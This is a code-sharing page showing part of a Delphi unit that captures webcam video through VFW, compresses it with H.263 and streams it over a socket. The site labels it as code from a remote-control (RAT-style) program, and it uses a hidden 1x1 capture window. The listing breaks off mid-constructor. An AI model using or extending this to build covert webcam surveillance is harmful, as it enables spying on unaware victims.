⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 capturemediaunit.pas

📁 delphi源代码。iocp远控比较完整的代码
💻 PAS
📖 第 1 页 / 共 2 页
字号:
unit CaptureMediaUnit;

interface

uses
  Windows,
  Messages,
  WinSock2,
  WinSock,
  PublicFunctionUnit,
  vfw;

//msH263只支持176*144和352*288  176 144

const
  VideoWidth        = 352;
  VideoHeight       = 288;
  MediaDataBufferMaxSize = VideoWidth * VideoHeight * 3; //视频和音频数据缓冲区
  MAX_VFW_DEVICES   = 10;
  StartCapVideo     = 5000;
  ChangeCmpedRate   = 5001;
  ChangeFPS         = 5002;
  ChangeVideoSize   = 5003;
  ChangeDriverIndex = 5004;
  GetDriverList     = 5005;
  GetSelfWindMsg    = WM_USER + 300;
  CLoseWindMsg      = WM_USER + 301;
type
  //视频压缩类
  TCodecCls = class
  public
    m_hIC : HIC;
    m_BmpU : TBitmapInfo;
    m_BmpC : TBitmapInfo;
    m_cv : TCOMPVARS;
    procedure DestroyCodecV;
    function InitCodecV : boolean;
    //压缩 
    function EncodeVideoData(pin: pchar; len: integer; pout: pchar;
      lenr: pinteger; pKey: pboolean; lm_BmpU : TBitmapInfo; lm_cv : TCOMPVARS): boolean;
    //创建和销毁
    constructor Create(const SystemBitmapInfo : TBitmapInfo);
    destructor Destroy; override; 
  end;
  //视频初始和收尾类
  TVideoInitial = class
  public
	  function DisconnectFromDriver : boolean;
    function Init : boolean;
    procedure DestroyStructure;
    function ConnectToDriver(DriverIndex : byte) : boolean;
    function GetCapWindow : HWND;
    constructor create;
    destructor destroy; override;
  private
    m_hWndCap : HWND;
  end;
  //视频传输类
  TCaptureVideo = Class
  private
    //视频压缩单元类
    m_CodecMgr : TCodecCls;
    //视频截取准备单元类
    m_ViCap : TVideoInitial;
    //需要连接到的视频设备index
    pVideoDeviceIndex : Byte;
    //vfw窗口句柄
    hCap : HWND; 
    //socket和绑定的事件
    VedioSocket : TSocket;
    VedioSocketWsaEvent : WSAEVENT;
    //数据发送的通知事件
    SendVedioNotifyEvent : THandle;
    //数据缓冲区
    FrameDataBuffer : array[0..524288 - 1] of Byte; //512K缓冲区
    //检测数据线程
    DectectVideoSockeThreadtHandle : THandle;
    DectectVideoSockeThreadID : DWORD;
    //窗口处理函数指针
    FEnumProcInst : Pointer;
    //开始进行音视频截取
    function StartGetVideo(const ImageQuality :integer = ICQUALITY_DEFAULT;
      const LVideoWidth : integer = 176; const LVideoHeigh : integer = 144): Boolean;
    //获取视频流的回调函数
    function LcapVideoStreamCallback(capHWnd : HWND; lpVHdr : PVIDEOHDR) : longint; stdcall;
  public 
    constructor Create(SockAddrIn : TSockAddrIn; out Issucess : Boolean;
      const ServerPerIODataP : DWORD; const WebCamIndex : byte = 0);
    destructor Destroy; override;
    procedure EncodeVideoData(pv : PChar; len : integer; dwTimeCaptured : DWORD);
    procedure DectectVideoSockeProcess;
  end;

implementation

{------------------------------TCodecCls-------------------------------}

(*
   cbsize:结构大小 
   dwFlages:ICMF_COMPVARS_VALID 
   fccType:ICTYPE_VIDEO 
   fccHandler:压缩的fcc编码,如"H263"、"M263",取决于你安装了哪些编码器,以及需要压缩什么格式的视频 
   lKey:多少贞有一个key贞 
   lDataRate:期望的数据码率,kbyte per sec.
   lQ:质量,0到10000
   lpbiIn:输入图像的bitmapinfo的指针
   hic:通过ICOPEN函数的到的编码器句柄
*)

//初始化
constructor TCodecCls.Create(const SystemBitmapInfo : TBitmapInfo);
begin 
	m_hIC := 0;
	ZeroMemory(@m_cv, sizeof(m_cv));
	m_cv.cbSize := sizeof(m_cv);
	m_cv.dwFlags := ICMF_COMPVARS_VALID;
	m_cv.hic := m_hIC;
	m_cv.fccType := ICTYPE_VIDEO ;
	m_cv.fccHandler := 859189837; //H263=859189837 ,intel = 1684633187 mpeg4=842289229  859189837
	m_cv.lpbiOut := nil;
	m_cv.lKey := 1;
  m_cv.lKeyCount := 0;
	m_cv.lDataRate := 4; //
	m_cv.lQ := ICQUALITY_HIGH;
  //将系统默认的图像头赋值给编码器
  MoveMemory(@m_BmpU, @SystemBitmapInfo, sizeof(m_BmpU)); 
end;

destructor TCodecCls.Destroy;
begin
	DestroyCodecV();
  inherited;
end; 

//关闭压缩的调用,MSH263+
procedure TCodecCls.DestroyCodecV;
begin
	if m_hIC <> 0 then
  begin
		ICDecompressEnd(m_hIC);
		ICSeqCompressFrameEnd(@m_cv);
		ICCompressorFree(@m_cv);
		ICClose(m_hIC);
		m_hIC := 0;
	end;
end; 

//压缩视频
function TCodecCls.EncodeVideoData(pin: pchar; len: integer; pout: pchar;
  lenr: pinteger; pKey: pboolean; lm_BmpU : TBitmapInfo; lm_cv : TCOMPVARS): boolean;
var
  bRet, k : boolean;
  p : pchar;
  s : longint;
label RET;
begin
	bRet := FALSE;
	s := 2000;
	if (pin = nil) or (pout = nil) or (len <> integer(lm_BmpU.bmiHeader.biSizeImage))
    or (m_hIC = 0) then goto RET;
  //压缩
	p := pchar(ICSeqCompressFrame(@lm_cv, 0, pin, @k, @s));
	if p = nil then
		goto RET;
	if lenr <> nil then
		lenr^ := s;
	if pKey <> nil then
		pKey^ := k;
	CopyMemory(pout, p, s);
	bRet := TRUE;
RET:
	result := bRet;
end;

//初始化h263压缩
function TCodecCls.InitCodecV: boolean;
var
  bRet : boolean; 
label RET;
begin 
	DestroyCodecV();
	bRet := FALSE;
	//打开压缩器
	m_hIC := ICOpen(ICTYPE_VIDEO, m_cv.fccHandler, ICMODE_COMPRESS or ICMODE_DECOMPRESS);
	if (m_hIC = 0) then
		goto RET;
	ICCompressGetFormat(m_hIC, @m_BmpU, @m_BmpC);
	//微软的H.263 codec需要消息确认,得到这个不容易
	ICSendMessage(m_hIC, $60c9, $f7329ace, $acdeaea2);
	m_cv.hic := m_hIC;
	m_cv.dwFlags := ICMF_COMPVARS_VALID;
	//star sequence of frames compression
	if not ICSeqCompressFrameStart(@m_cv, @m_BmpU) then
		goto RET;
	//star decompression;
	if ICDecompressBegin(m_hIC, @m_BmpC, @m_BmpU) <> ICERR_OK then
		goto RET;
	bRet := TRUE;
RET:
	if not bRet then
		DestroyCodecV();
	result := bRet;
end;

{------------------------------TVideoInitial -------------------------------}
 
constructor TVideoInitial.create;
begin
  m_hWndCap := 0; 
end;

destructor TVideoInitial.destroy;
begin
  DestroyStructure;
  inherited;
end;

//销毁视频,断开与视频驱动连接
procedure TVideoInitial.DestroyStructure;
begin
  try
    if m_hWndCap <> 0 then
    begin
      capCaptureAbort(m_hWndCap);
      capSetCallbackOnVideoStream(m_hWndCap, nil);
      Sleep(300);
      DisconnectFromDriver;
      DestroyWindow(m_hWndCap);
      m_hWndCap := 0;
    end;
  except

  end;
end; 

//连接设备驱动
function TVideoInitial.ConnectToDriver(DriverIndex: byte): boolean;
var
  CapParms : TCaptureParms;
begin
  Result := false;
	if (DriverIndex >= MAX_VFW_DEVICES) then exit;
	if m_hWndCap = 0 then exit;
	if not capDriverConnect(m_hWndCap, DriverIndex) then exit;
  ZeroMemory(@CapParms, sizeof(CapParms));
	capCaptureGetSetup(m_hWndCap, @CapParms, sizeof(CapParms));
	CapParms.vKeyAbort := 0;
	CapParms.fAbortLeftMouse := FALSE;
	CapParms.fAbortRightMouse := FALSE;
	CapParms.fYield := TRUE;
	CapParms.fCaptureAudio := FALSE;
	CapParms.wPercentDropForError := 100;
  CapParms.dwRequestMicroSecPerFrame := 40000;  //设置帧率,66667为每秒15  40000为10帧
	Result := capCaptureSetSetup(m_hWndCap, @CapParms, sizeof(CapParms));
end;

//断开与驱动程序的连接
function TVideoInitial.DisconnectFromDriver: boolean;
begin
  result := false;
	if m_hWndCap = 0 then exit;
	if not capDriverDisconnect(m_hWndCap) then exit;
  result := true;
end;

//得到视频’窗口‘句柄
function TVideoInitial.GetCapWindow: HWND;
begin
  result := m_hWndCap;
end; 

//初始化视频
function TVideoInitial.Init: boolean;
begin
	result := false;
	m_hWndCap := capCreateCaptureWindow('Capture', WS_POPUP, 0, 0, 1, 1, 0, 0); 
	if m_hWndCap = 0 then exit; 
  Result	:= TRUE;
end;

{------------------------------TCaptureVideo----------------------------------}

//检测socket线程
procedure GlobleDectectVideoSockeProcess(CaptureVideo : TCaptureVideo); stdcall;
begin
  CaptureVideo.DectectVideoSockeProcess;
end;

var
  myCaptureVideo : TCaptureVideo;

//获取视频流的回调函数
function capVideoStreamCallback(capHWnd : HWND; lpVHdr : PVIDEOHDR) : longint; stdcall;

begin
  //myCaptureVideo := TCaptureVideo(capGetUserData(capHWnd));
	if myCaptureVideo <> nil then
	begin
		//压缩视频数据
    myCaptureVideo.EncodeVideoData(PChar(lpVHdr^.lpData), lpVHdr^.dwBytesUsed, lpVHdr^.dwTimeCaptured);
	end;
	Result := 1;
end;

//视频错误回调函数
function capVideoErrorCallback(capHWnd : HWND; lpVHdr : PVIDEOHDR) : longint; stdcall;
begin
	Result := -1;
end;

//类创建
constructor TCaptureVideo.Create(SockAddrIn : TSockAddrIn;

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -